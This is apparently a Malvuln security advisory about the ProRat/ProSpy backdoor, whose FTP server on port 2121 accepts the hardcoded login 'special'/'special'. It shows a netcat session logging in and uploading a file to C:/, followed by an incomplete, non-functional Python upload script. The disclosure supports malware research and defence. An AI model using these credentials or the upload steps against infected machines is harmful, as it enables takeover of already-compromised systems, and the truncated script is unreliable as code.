Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Prorat.lkt  
Vulnerability: Weak Hardcoded Password  
Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: dec8f9042986d64e29d62effb482290b  
Vuln ID: MVID-2021-0360  
Dropped files: dxdiag.exe  
Disclosure: 10/04/2021  
nc64.exe 2121  
220 ProSpy FTP Server ready.  
USER special  
331 Password required for special.  
PASS special  
230 User special logged in.  
215 UNIX Type: L8 Internet Component Suite  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
227 Entering Passive Mode (192,168,18,125,194,23).  
150 Opening data connection for DOOM.js.  
226 File received ok  
from socket import *  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("By Malvuln");  
if __name__=="__main__":  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).